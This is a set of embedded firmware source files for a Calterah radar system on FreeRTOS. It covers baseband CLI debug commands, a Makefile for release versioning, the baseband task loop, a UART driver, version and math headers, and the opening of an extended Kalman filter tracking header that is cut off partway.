BB_WRITE_REG(bb_hw, SYS_BNK_ACT, old_bnk); /* bank restore */
return pdFALSE;
}
#if INTER_FRAME_POWER_SAVE == 1
/* bb_interframe command */
static const CLI_Command_Definition_t bb_interframe_command = {
"bb_interframe",
"bb_interframe \n\r"
"\tinterframe tx block or single tone.\n\r"
"\tUsage: bb_interframe <block/single>\n\r",
bb_interframe_command_handler,
-1
};
static BaseType_t bb_interframe_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1;
BaseType_t len1;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
bool tx_block = true;
/* get paremeter */
if (param1 != NULL) {
if (strncmp(param1, "block", sizeof("block") - 1) == 0) {
tx_block = true;
} else if (strncmp(param1, "single", sizeof("single") - 1) == 0) {
tx_block = false;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_interframe_command);
return pdFALSE;
}
} else {
tx_block = true;
}
baseband_t *bb = baseband_get_rtl_frame_type(); // align with hardware frame type
/* block or single tone */
if (tx_block == true) {
baseband_interframe_power_save_init(&bb->bb_hw);
EMBARC_PRINTF("----------- interframe tx blocked -----------\r\n");
} else {
int_disable(INT_BB_SAM);
fmcw_radio_adc_fmcwmmd_ldo_on(&bb->radio, true);
fmcw_radio_lo_on(&bb->radio, true);
fmcw_radio_rx_on(&bb->radio, true);
fmcw_radio_tx_restore(&bb->radio);
EMBARC_PRINTF("----------- interframe tx single tone -----------\r\n");
}
return pdFALSE;
}
#endif //INTER_FRAME_POWER_SAVE
/* bb_agc_dbg_command */
static const CLI_Command_Definition_t bb_agc_dbg_command = {
"bb_agc_dbg",
"bb_agc_dbg \n\r"
"\tDump baseband monitoring-related agc register. \n\r"
"\tUsage: bb_agc_dbg <cod/sat/max/state>\n\r",
bb_agc_dbg_command_handler,
-1
};
static BaseType_t bb_agc_dbg_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1;
BaseType_t len1;
int item = 0;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
/* get parameter 1, 2*/
if (param1 != NULL) {
if (strncmp(param1, "cod", 3) == 0)
item = 0;
else if (strncmp(param1, "sat", 3) == 0)
item = 1;
else if (strncmp(param1, "max", 3) == 0)
item = 2;
else if (strncmp(param1, "state", 5) == 0)
item = 3;
else
item = -1;
} else {
item = -1;
}
if (item == -1) {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_agc_dbg_command);
return pdFALSE;
} else {
baseband_agc_dbg_reg_dump(NULL,item);
}
return pdFALSE;
}
/* fft power print(default 11*11) commond */
static const CLI_Command_Definition_t fftp_command = {
"fftp",
"fftp \n\r"
"\tfft power print \n\r"
"\tUsage: fftp [rng_center] [vel_center] [frame_num]\n\r",
fftp_command_handler,
-1
};
static BaseType_t fftp_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2, *param3;
BaseType_t len1, len2, len3;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
uint32_t nframe;
int rng_center;
int vel_center;
if (param1 != NULL) {
rng_center = strtol(param1, NULL, 0);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &fftp_command);
return pdFALSE;
}
if (param2 != NULL) {
vel_center = strtol(param2, NULL, 0);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &fftp_command);
return pdFALSE;
}
if (param3 != NULL)
nframe = strtol(param3, NULL, 0);
else
nframe = 20;
baseband_t* bb = baseband_get_bb(0);
baseband_hw_t *bb_hw = &bb->bb_hw;
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t raw_data;
complex_t complex_fft;
float* fft_pwr;
/* check the boundary */
int rng_bgn = rng_center - FFTP_SIZE_HALF;
int rng_end = rng_center + FFTP_SIZE_HALF;
int vel_bgn = vel_center - FFTP_SIZE_HALF;
int vel_end = vel_center + FFTP_SIZE_HALF;
if ( rng_center < FFTP_SIZE_HALF)
rng_bgn = 0;
if ( rng_end > ((cfg->rng_nfft)/2 - 1))
rng_end = (cfg->rng_nfft)/2 - 1;
if ( vel_bgn < FFTP_SIZE_HALF)
vel_bgn = 0;
if ( vel_end > ((cfg->vel_nfft) - 1))
vel_end = (cfg->vel_nfft) - 1;
/* Malloc */
uint32_t fft_pwr_size = FFTP_SIZE * FFTP_SIZE * sizeof(float);
if (fft_pwr_size > xPortGetFreeHeapSize()) {
EMBARC_PRINTF("fft_pwr Malloc Failed, free heap size is %d bytes\r\n", xPortGetFreeHeapSize());
return pdFALSE;
}
fft_pwr = (float*)pvPortMalloc(fft_pwr_size);
if (fft_pwr == NULL) {
EMBARC_PRINTF(" fft_pwr Malloc Error\r\n");
return pdFALSE;
}
memset(fft_pwr, 0, fft_pwr_size); /* init 0 */
/* save baseband status */
uint8_t old_mem_act = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
uint8_t old_buf_store = baseband_switch_buf_store(bb_hw, SYS_BUF_STORE_FFT);
uint16_t old_status_en = BB_READ_REG(bb_hw, SYS_ENABLE);
uint16_t bb_status_en = SYS_ENA(SAM , true)
|SYS_ENA(FFT_2D , true);
/* fft data processing */
for (uint32_t frame_cnt = 0; frame_cnt < nframe; frame_cnt ++) {
/* start baseband */
baseband_start_with_params(bb, true, true, bb_status_en, true, BB_IRQ_ENABLE_SAM_DONE, false);
/* wait done */
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true)
;
/* read and accumulate fft2d power */
old_mem_act = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
for (int j = rng_bgn ; j <= rng_end; j++) {
for (int i = vel_bgn; i <= vel_end; i++) {
for (int ant_idx = 0; ant_idx < MAX_NUM_RX; ant_idx++) {
raw_data = baseband_hw_get_fft_mem(bb_hw, ant_idx, j, i, 0);
complex_fft = cfl_to_complex(raw_data, 14, 14, true, 4, false);
int buf_adr = (j - rng_bgn) * FFTP_SIZE + (i - vel_bgn);
fft_pwr[buf_adr] += (complex_fft.r * complex_fft.r + complex_fft.i * complex_fft.i);
}
}
}
}
/* fft print */
EMBARC_PRINTF("rng\\dpl");
for (int i = vel_bgn ; i <= vel_end; i++)
EMBARC_PRINTF("%7d ", i);
for (int j = rng_bgn ; j <= rng_end; j++) {
for (int i = vel_bgn ; i <= vel_end; i++) {
if (i == vel_bgn)
EMBARC_PRINTF("\r\n%4d: ", j);
int buf_adr = (j - rng_bgn) * FFTP_SIZE + (i - vel_bgn);
if (i == vel_end)
EMBARC_PRINTF("%4.2f ", fft_pwr[buf_adr]);
else
EMBARC_PRINTF("%4.2f ", fft_pwr[buf_adr]);
}
}
/* restore baseband status */
baseband_switch_mem_access(bb_hw, old_mem_act);
BB_WRITE_REG(bb_hw, SYS_ENABLE, old_status_en);
baseband_switch_buf_store(bb_hw, old_buf_store);
vPortFree(fft_pwr);
return pdFALSE;
}
#if (NUM_FRAME_TYPE > 1)
/* frame interleaving reconfig */
static const CLI_Command_Definition_t fi_command = {
"fi",
"fi \n\r"
"\tframe interleaving set FIXED <0/1/2/3> or returned to default strategy \n\r"
"\tUsage: fi <set/rtn> <frame_type_index =0> \n\r",
fi_command_handler,
-1
};
static BaseType_t fi_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2;
BaseType_t len1, len2;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
uint8_t no_effect = 1; // no effect in FIXED strategy
/* get paremeter */
if (param1 != NULL) {
if (strncmp(param1, "set", sizeof("set") - 1) == 0) {
if (param2 != NULL) {
uint8_t frame_type_idx = strtol(param2, NULL, 0);
if (frame_type_idx < NUM_FRAME_TYPE) {
baesband_frame_interleave_strategy_set(FIXED, no_effect, frame_type_idx, no_effect);
EMBARC_PRINTF("\tFIXED %d\n\r", frame_type_idx);
} else {
EMBARC_PRINTF("\tindex should < %d\n\r", NUM_FRAME_TYPE);
return pdFALSE;
}
} else {
baesband_frame_interleave_strategy_set(FIXED, no_effect, 0, no_effect);
EMBARC_PRINTF("\tFIXED 0\n\r");
}
} else if (strncmp(param1, "rtn", sizeof("rtn") - 1) == 0) {
baesband_frame_interleave_strategy_return();
EMBARC_PRINTF("\treturn to default strategy\n\r");
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &fi_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &fi_command);
return pdFALSE;
}
return pdFALSE;
}
#endif // (NUM_FRAME_TYPE > 1)
/* bb_sambuf command, print sample buffer data */
static const CLI_Command_Definition_t bb_sambuf_command = {
"bb_sambuf",
"bb_sambuf \n\r"
"\tsample buffer data print \n\r"
"\tUsage: bb_sambuf \n\r",
bb_sambuf_command_handler,
-1
};
static BaseType_t bb_sambuf_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
baseband_hw_t *bb_hw = &baseband_get_cur_bb()->bb_hw;
uint32_t size_rng_buf = (BB_READ_REG(bb_hw, SYS_SIZE_RNG_BUF) + 1)/2; // adc data is 16 bits, 2 adc data in one memory entry(32 bits)
// read memory
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_SAM);
for (int i = 0; i < 2; i++) { // velocity index, only 2 chirps stored
for (int k = 0; k < MAX_NUM_RX; k++) { // antenna index
for (int j = 0; j < size_rng_buf; j++) { // range index
uint32_t dat = baseband_hw_get_sam_buf(bb_hw, i, j, k);
if (j % 4 == 3) // 4 data printed in 1 line
EMBARC_PRINTF("0x%08x\n\r", dat);
else
EMBARC_PRINTF("0x%08x, ", dat);
MDELAY(1); /* add delay to improve the validity of the serial data*/
}
}
}
baseband_switch_mem_access(bb_hw, old);
return pdFALSE;
}
#ifdef CHIP_CASCADE
/* bb_sync command, enable sync irq for cascade */
static const CLI_Command_Definition_t bb_sync_command = {
"bb_sync",
"bb_sync \n\r"
"\tsync irq for cascade, master rx irq and slave tx irq\n\r"
"\tUsage: bb_sync <tx/rx>\n\r",
bb_sync_command_handler,
-1
};
static BaseType_t bb_sync_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1;
BaseType_t len1;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
/* get paremeter */
if (param1 != NULL) {
if ((strncmp(param1, "rx", sizeof("rx") - 1) == 0) && (chip_cascade_status() == CHIP_CASCADE_MASTER)) {
baseband_cascade_sync_init();
baseband_cascade_sync_wait(NULL); // rx one irq of sync
EMBARC_PRINTF("mst, wait and rx one irq \r\n");
} else if ((strncmp(param1, "tx", sizeof("tx") - 1) == 0) && (chip_cascade_status() == CHIP_CASCADE_SLAVE)) {
cascade_s2m_sync_bb(); // tx one irq of sync
EMBARC_PRINTF("slv, tx one irq \r\n");
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_sync_command);
}
} else if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
baseband_cascade_sync_init();
EMBARC_PRINTF("irq of sync enabled \r\n");
}
return pdFALSE;
}
#endif // CHIP_CASCADE
/*bb saturation counts for different tx groups do beamforming */
static const CLI_Command_Definition_t Txbf_saturation_command = {
"Txbf_saturation",
"Txbf_saturation \n\r"
"\tOutput saturation counts of CHs under different Tx phase.\n\r"
"\tUsage: Txbf_saturation <bitmux of tx group (at most 4bits):%x>\n\r",
Txbf_saturation_command_handler,
-1
};
static BaseType_t Txbf_saturation_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1;
BaseType_t len1;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
if (param1 != NULL) {
unsigned int tx_g = (unsigned int) strtol(param1, NULL, 0);
/* get RTL bank selected*/
baseband_t* bb = baseband_get_rtl_frame_type(); /* read back the bank selected in RTL */
baseband_hw_t *bb_hw = &bb->bb_hw;
Txbf_bb_satur_monitor(bb_hw, tx_g);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &Txbf_saturation_command);
}
return pdFALSE;
}
/* bb_rst command */
static const CLI_Command_Definition_t bb_rst_command = {
"bb_rst",
"bb_rst \n\r"
"\treset of bb core.\n\r"
"\tUsage: bb_rst\n\r",
bb_rst_command_handler,
-1
};
static BaseType_t bb_rst_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
bb_core_reset(1); // reset bb_core
bb_core_reset(0); // deassert reset
EMBARC_PRINTF("bb_core_reset done!\n\r");
return pdFALSE;
}
void baseband_cli_commands(){
if (baseband_cli_registered)
return;
FreeRTOS_CLIRegisterCommand(&scan_command);
FreeRTOS_CLIRegisterCommand(&bb_reg_command);
FreeRTOS_CLIRegisterCommand(&bb_regdump_command);
FreeRTOS_CLIRegisterCommand(&bb_tbldump_command);
FreeRTOS_CLIRegisterCommand(&bb_init_command);
FreeRTOS_CLIRegisterCommand(&bb_datdump_command);
FreeRTOS_CLIRegisterCommand(&bb_dc_command);
FreeRTOS_CLIRegisterCommand(&ant_calib_command);
FreeRTOS_CLIRegisterCommand(&tx_ant_phase_calib_command);
FreeRTOS_CLIRegisterCommand(&bb_datdump_serport_command);
FreeRTOS_CLIRegisterCommand(&bb_dbg_urt_command);
FreeRTOS_CLIRegisterCommand(&radar_param_show_command);
FreeRTOS_CLIRegisterCommand(&bb_fftdump_command);
FreeRTOS_CLIRegisterCommand(&bb_test_command);
FreeRTOS_CLIRegisterCommand(&bb_bist_command);
FreeRTOS_CLIRegisterCommand(&bb_dac_command);
FreeRTOS_CLIRegisterCommand(&bb_hil_command);
#if INTER_FRAME_POWER_SAVE == 1
FreeRTOS_CLIRegisterCommand(&bb_interframe_command);
#endif //INTER_FRAME_POWER_SAVE
FreeRTOS_CLIRegisterCommand(&bb_dbgdump_command);
FreeRTOS_CLIRegisterCommand(&bb_dbgsam_command);
FreeRTOS_CLIRegisterCommand(&bb_agc_dbg_command);
FreeRTOS_CLIRegisterCommand(&fftp_command); /* fft power print commond */
#if (NUM_FRAME_TYPE > 1)
FreeRTOS_CLIRegisterCommand(&fi_command); /* frame interleaving reconfig */
#endif // (NUM_FRAME_TYPE > 1)
FreeRTOS_CLIRegisterCommand(&bb_sambuf_command); /* frame interleaving reconfig */
#ifdef CHIP_CASCADE
FreeRTOS_CLIRegisterCommand(&bb_sync_command); /* enable sync irq for cascade */
#endif // CHIP_CASCADE
FreeRTOS_CLIRegisterCommand(&Txbf_saturation_command);
FreeRTOS_CLIRegisterCommand(&bb_rst_command);
baseband_cli_registered = true;
}
<file_sep>## Firmware version selection(debug/release, default:debug) ##
FW ?= debug
REL_FILE_NAME ?= firmware_release_version
FILE_FULL_NAME = $(FIRMWARE_ROOT)/firmware_release_version.txt
FILE_NAME = $(basename $(notdir $(wildcard $(FILE_FULL_NAME))))
VALID_REL_FILE = $(call check_item_exist_tmp, $(REL_FILE_NAME), $(FILE_NAME))
ifeq ($(VALID_REL_FILE), )
$(error firmware_release_version.txt doesn't exist, please check it!)
endif
VALID_GIT ?= $(wildcard .git)
ifeq ($(VALID_GIT), .git)
ifeq ($(FW), release)
VALID_TAG ?= $(shell git log -1 --decorate=full | awk -F '/' '{if(NR == 1)print $$5}')
ifeq ($(VALID_TAG), )
$(error Please creat a tag for this release firstly!!!)
endif
$(shell sed -i '6,10d' $(FILE_FULL_NAME); \
git log -1 --decorate=full | sed -n '1,3p' | sed '2d' | sed '/commit/s/H.*tags\///g' \
| sed '/commit/s/,.*D//g' | sed '/commit/s/commit/Release Commit ID :/g' | sed '/Date/s/Date:/Release Date :/g'\
| sed '2a \\\n================================================================' >> $(FILE_FULL_NAME); \
sed -i 's/Release Commit ID/\nRelease Commit ID/g' $(FILE_FULL_NAME))
TAG_VERSION = $(shell awk -F '[()]' '{if(NR == 7)print $$2}' $(FILE_FULL_NAME))
MAJOR_VERSION_ID ?= $(shell awk -F '[V.()]' '{if(NR == 7)print $$3}' $(FILE_FULL_NAME))
MINOR_VERSION_ID ?= $(shell awk -F '[V.()]' '{if(NR == 7)print $$4}' $(FILE_FULL_NAME))
STAGE_VERSION_ID ?= $(shell awk -F '[V.()]' '{if(NR == 7)print $$5}' $(FILE_FULL_NAME))
SYS_NAME_STR_TMP ?= $(shell awk -F '[:]' '{if(NR == 5)print $$2}' $(FILE_FULL_NAME))
SYS_NAME_STR ?= \"$(strip $(SYS_NAME_STR_TMP))\"
ifneq ($(CHIP_CASCADE),)
# CA is for CASCADE
CHIP_STR = CA
SYS_NAME_STR_TMP := $(SYS_NAME_STR_TMP)_$(strip $(CHIP_STR))
SYS_NAME_STR := \"$(strip $(SYS_NAME_STR_TMP))\"
endif
$(shell sed -i '1c $(TAG_VERSION)' $(FILE_FULL_NAME); \
sed -i '2c ---major version id: $(MAJOR_VERSION_ID)' $(FILE_FULL_NAME); \
sed -i '3c ---minor version id: $(MINOR_VERSION_ID)' $(FILE_FULL_NAME); \
sed -i '4c ---stage version id: $(STAGE_VERSION_ID)' $(FILE_FULL_NAME); \
sed -i '5c ---system information: $(SYS_NAME_STR_TMP)' $(FILE_FULL_NAME))
else
MAJOR_VERSION_ID ?= 0
MINOR_VERSION_ID ?= 0
STAGE_VERSION_ID ?= 0
ifneq ($(CHIP_CASCADE),)
SYS_NAME_STR_TMP ?= Calterah_Radar_System_CA
else
SYS_NAME_STR_TMP ?= Calterah_Radar_System
endif
SYS_NAME_STR ?= \"$(SYS_NAME_STR_TMP)\"
endif
BUILD_COMMIT_ID_TMP ?= $(shell git rev-parse --short HEAD)
BUILD_COMMIT_ID ?= \"$(strip $(BUILD_COMMIT_ID_TMP))\"
else
MAJOR_VERSION_ID ?= $(shell cat $(FILE_FULL_NAME) | head -n 1 | cut -d 'V' -f 2 | cut -c 1 )
MINOR_VERSION_ID ?= $(shell cat $(FILE_FULL_NAME) | head -n 1 | cut -d 'V' -f 2 | cut -c 3 )
STAGE_VERSION_ID ?= $(shell cat $(FILE_FULL_NAME) | head -n 1 | cut -d 'V' -f 2 | cut -c 5 )
SYS_NAME_STR_TMP ?= $(shell cat $(FILE_FULL_NAME) | head -n 5 | tail -n 1 | cut -d ':' -f 2)
SYS_NAME_STR ?= \"$(strip $(SYS_NAME_STR_TMP))\"
BUILD_COMMIT_ID_TMP ?= $(shell cat $(FILE_FULL_NAME) | head -n 7 | tail -n 1 |\
cut -d ':' -f 2 | cut -c 1-7)
BUILD_COMMIT_ID ?= \"$(strip $(BUILD_COMMIT_ID_TMP))\"
endif
$(info Firmware version: $(MAJOR_VERSION_ID).$(MINOR_VERSION_ID).$(STAGE_VERSION_ID))
$(info System information: $(SYS_NAME_STR_TMP))
$(info Build Commit Id: $(BUILD_COMMIT_ID_TMP))
FW_VER_DEFINES += -DFW_VER=$(FW_VER) -DMAJOR_VERSION_ID=$(MAJOR_VERSION_ID) -DMINOR_VERSION_ID=$(MINOR_VERSION_ID)
FW_VER_DEFINES += -DSTAGE_VERSION_ID=$(STAGE_VERSION_ID) -DSYS_NAME_STR=$(SYS_NAME_STR) -DBUILD_COMMIT_ID=$(BUILD_COMMIT_ID)
<file_sep>#include "embARC_toolchain.h"
#include "clkgen.h"
#include "sensor_config.h"
#include "baseband_task.h"
#include "baseband.h"
#include "FreeRTOS.h"
#include "semphr.h"
#include "queue.h"
#include "task.h"
#include "arc_exception.h"
#include "alps_hardware.h"
#include "embARC_debug.h"
#include "baseband_dpc.h"
#include "baseband_cas.h"
#include "cascade.h"
#define BB_WRITE_REG(bb_hw, RN, val) baseband_write_reg(bb_hw, BB_REG_##RN, val)
static uint8_t old_bb_clk;
extern QueueHandle_t queue_bb_isr;
extern QueueHandle_t queue_fix_1p4;
extern SemaphoreHandle_t mutex_frame_count;
int32_t frame_count = 0;
static bool bb_clk_restore_en = false;
/* task variables */
extern SemaphoreHandle_t mutex_initial_flag;
bool initial_flag = true;
void baseband_int_handler(void* ptr)
{
uint32_t msg = 0;
BB_WRITE_REG(NULL, SYS_IRQ_CLR, BB_IRQ_CLEAR_ALL);
xQueueSendFromISR(queue_bb_isr, (void *)&msg, 0);
}
void bb_clk_switch()
{
bb_clk_restore_en = true;
old_bb_clk = raw_readl(REG_CLKGEN_DIV_AHB);
bus_clk_div(BUS_CLK_100M); /* when dumping debug data(no buffer), bb clock should be switched to dbgbus clock(100MHz) */
}
void bb_clk_restore() /* After dumping sample debug data(no buffer), bb clock should be restored to default 200MHz */
{
if (bb_clk_restore_en == true) {
bb_clk_restore_en = false;
raw_writel(REG_CLKGEN_DIV_AHB, old_bb_clk);
}
}
void frame_count_ctrl(void)
{
xSemaphoreTake(mutex_frame_count, portMAX_DELAY);
if (frame_count > 0)
frame_count--;
xSemaphoreGive(mutex_frame_count);
}
void initial_flag_set(bool data)
{
xSemaphoreTake(mutex_initial_flag, portMAX_DELAY);
initial_flag = data;
xSemaphoreGive(mutex_initial_flag);
}
void baseband_task(void *params)
{
uint32_t event = 0;
int_handler_install(INT_BB_DONE, baseband_int_handler);
int_enable(INT_BB_DONE);
dmu_irq_enable(INT_BB_DONE, 1); /* irq mask enable */
baseband_t* bb = baseband_get_cur_bb();
baseband_data_proc_t* dpc = baseband_get_dpc();
#ifdef CHIP_CASCADE
baseband_cascade_handshake();
baseband_dc_calib_init(NULL, false, false); // dc_calib after handshake
#endif
while(1) {
if (frame_count != 0) {
if(track_is_ready(bb->track)) {
track_lock(bb->track);
/* run baseband data proc chain till the end */
int index = 0;
while (!baseband_data_proc_run(&dpc[index++]))
;
bb = baseband_get_rtl_frame_type();
if( initial_flag == true ) {
track_pre_start(bb->track);
initial_flag_set(false);
} else {
track_run(bb->track);
}
/* wait queue for last BB HW run*/
if(xQueueReceive(queue_bb_isr, &event, portMAX_DELAY) == pdTRUE) {
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_SLAVE) {
/* rx "scan stop" to release spi underlying buffer, must before baseband_write_cascade_ctrl*/
baseband_scan_stop_rx(CMD_RX_WAIT);
baseband_write_cascade_ctrl();
}
#endif
frame_count_ctrl();
/* read result from baseband */
track_read(bb->track);
if (frame_count == 0) {
track_output_print(bb->track);/* print the last frame */
baseband_stop(bb);
EMBARC_PRINTF("<EOF>\r\n");
}
baseband_workaroud(&bb->bb_hw);
}
}
} else {
if (false == initial_flag)
baseband_stop(bb); /* re-call baseband_stop if not asserted in xQueueReceive */
#ifdef CHIP_CASCADE
if(chip_cascade_status() == CHIP_CASCADE_SLAVE)
baseband_read_cascade_cmd(0); /* waiting for master command "scan start/stop" */
#endif
xQueueReceive(queue_fix_1p4, &event, 1); // add one tick to disturb the idle task loop
taskYIELD();
} /* end if */
} /* end while */
}
<file_sep>#include "embARC_toolchain.h"
#include "alps/alps.h"
#include "dw_uart.h"
static dw_uart_t dw_uart0 = {
.base = REL_REGBASE_UART0,
.int_no = INTNO_UART0,
};
static dw_uart_t dw_uart1 = {
.base = REL_REGBASE_UART1,
.int_no = INTNO_UART1,
};
void *uart_get_dev(uint32_t id)
{
void *ret_ptr = NULL;
static uint32_t uart_install_flag = 0;
if (0 == uart_install_flag) {
dw_uart_install_ops(&dw_uart0);
dw_uart_install_ops(&dw_uart1);
uart_install_flag = 1;
}
switch (id) {
case 0:
ret_ptr = (void *)&dw_uart0;
break;
case 1:
ret_ptr = (void *)&dw_uart1;
break;
default:
ret_ptr = NULL;
}
return ret_ptr;
}
void uart_enable(uint32_t id, uint32_t en)
{
switch (id) {
case 0:
uart0_enable(en);
break;
case 1:
uart1_enable(en);
break;
default:
break;
}
}
clock_source_t uart_clock_source(uint32_t id)
{
clock_source_t clk_src;
switch (id) {
case 0:
clk_src = UART0_CLOCK;
break;
case 1:
clk_src = UART1_CLOCK;
break;
default:
clk_src = CLOCK_SOURCE_INVALID;
break;
}
return clk_src;
}
<file_sep>#ifndef _VERSION_H_
#define _VERSION_H_
#ifndef MAJOR_VERSION_ID
#define MAJOR_VERSION_ID (0)
#endif
#ifndef MINOR_VERSION_ID
#define MINOR_VERSION_ID (1)
#endif
#ifndef STAGE_VERSION_ID
#define STAGE_VERSION_ID (0)
#endif
#ifndef COMPILE_DATE_YEAR
#define COMPILE_DATE_YEAR (2020)
#endif
#ifndef COMPILE_DATE_MONTH
#define COMPILE_DATE_MONTH (01)
#endif
#ifndef COMPILE_DATE_DAY
#define COMPILE_DATE_DAY (01)
#endif
#ifndef SYS_NAME_STR
#define SYS_NAME_STR "Calterah_Radar_System_CA"
#endif
#ifndef BUILD_COMMIT_ID
#define BUILD_COMMIT_ID "0000000"
#endif
#define COMPILE_DATE_LEN_MAX (16)
#define CIMPILE_TIME_LEN_MAX (16)
#define SYSTEM_NAME_LEN_MAX (24)
typedef struct {
uint8_t major_ver_id;
uint8_t minor_ver_id;
uint8_t stage_ver_id;
uint8_t reserverd0;
uint8_t date[COMPILE_DATE_LEN_MAX];
uint8_t time[CIMPILE_TIME_LEN_MAX];
uint8_t info[SYSTEM_NAME_LEN_MAX];
} sw_version_t;
#endif
<file_sep>#ifndef CALTERAH_MATH_H
#define CALTERAH_MATH_H
#include "calterah_data_conversion.h"
#include "calterah_math_funcs.h"
#include "fft_window.h"
#include "calterah_steering_vector.h"
#include "calterah_algo.h"
#endif
<file_sep># Calterah Common Header File
Header files here are used across all levels of calterah's firmware. Module design requires definitions be localized. So please think through if it is necessary to put defines here.
**Note:** All defines/declares should be ``independent`` of freeRTOS, toolChains, drivers, chips, and boards.
## ``calterah_defines.h``
Common used definitions including structs and macros.
## ``calterah_error.h``
It will be a complement to ``embARC_error.h`` and it only includes calterah specific errors, most of which are HW related. To work with embARC's own error defines, please use negative number and make sure error number less than -128.
<file_sep>FREERTOS_TICK_ROOT = $(FREERTOS_COMMON_ROOT)/tick
FREERTOS_TICK_CSRCDIR += $(FREERTOS_TICK_ROOT)
# find all the source files in the target directories
FREERTOS_TICK_CSRCS = $(call get_csrcs, $(FREERTOS_TICK_CSRCDIR))
FREERTOS_TICK_ASMSRCS = $(call get_asmsrcs, $(FREERTOS_TICK_ASMSRCDIR))
# get object files
FREERTOS_TICK_COBJS = $(call get_relobjs, $(FREERTOS_TICK_CSRCS))
FREERTOS_TICK_ASMOBJS = $(call get_relobjs, $(FREERTOS_TICK_ASMSRCS))
FREERTOS_TICK_OBJS = $(FREERTOS_TICK_COBJS) $(FREERTOS_TICK_ASMOBJS)
# get dependency files
FREERTOS_TICK_DEPS = $(call get_deps, $(FREERTOS_TICK_OBJS))
# genearte library
FREERTOS_TICK_LIB = $(OUT_DIR)/lib_freertos_tick.a
COMMON_COMPILE_PREREQUISITES += $(FREERTOS_TICK_ROOT)/tick.mk
# library generation rule
$(FREERTOS_TICK_LIB): $(FREERTOS_TICK_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(FREERTOS_TICK_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(FREERTOS_TICK_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(FREERTOS_TICK_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(FREERTOS_TICK_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(FREERTOS_TICK_ASMSRCS)
CALTERAH_COMMON_COBJS += $(FREERTOS_TICK_COBJS)
CALTERAH_COMMON_ASMOBJS += $(FREERTOS_TICK_ASMOBJS)
CALTERAH_COMMON_LIBS += $(FREERTOS_TICK_LIB)
CALTERAH_INC_DIR += $(FREERTOS_TICK_CSRCDIR)
<file_sep>#ifndef CALTERAH_DATA_CONVERSION_H
#define CALTERAH_DATA_CONVERSION_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#endif
#include "calterah_complex.h"
float fx_to_float(uint32_t val, uint32_t W, int32_t I, bool sign);
float fl_to_float(uint32_t val, uint32_t W_m, int32_t I, bool sign_m, uint32_t W_e, bool sign_e);
complex_t cfx_to_complex(uint32_t val, uint32_t W, int32_t I, bool sign);
complex_t cfl_to_complex(uint32_t val, uint32_t W_m, int32_t I, bool sign_m, uint32_t W_e, bool sign_e);
uint32_t float_to_fx(float val, uint32_t W, int32_t I, bool sign);
uint32_t float_to_fl(float val, uint32_t W_m, int32_t I, bool sign_m, uint32_t W_e, bool sign_e);
uint32_t complex_to_cfx(complex_t *val, uint32_t W, int32_t I, bool sign);
uint32_t complex_to_cfl(complex_t *val, uint32_t W_m, int32_t I, bool sign_m, uint32_t W_e, bool sign_e);
uint64_t complex_to_cfl_dwords(complex_t *val, uint32_t W_m, int32_t I_m, bool sign_m, uint32_t W_e, bool sign_e);
#endif
<file_sep>/*
Header file for Extended KF. This is where you put algorithm specific definitions.
The only interface between this model and tracking is "install_ekf_track", which will
hook up handlers, data with tracking module properly.
*/
#ifndef EKF_TRACK_H
#define EKF_TRACK_H
#define TRACK_ALWAYS_CALCUL_A 1
#define TRACK_ALWAYS_CALCUL_Q 1
#define TRACK_EKF_ACC 0.05
/* #define TRACK_ADAPTIVE_CST */
#if TRK_CONF_3D
#define MEASURE_ELEM_NUM 4 /* r v a a_elv */
#define STATE_ELEM_NUM 9 /* rx ry rz vx vy vz ax ay az */
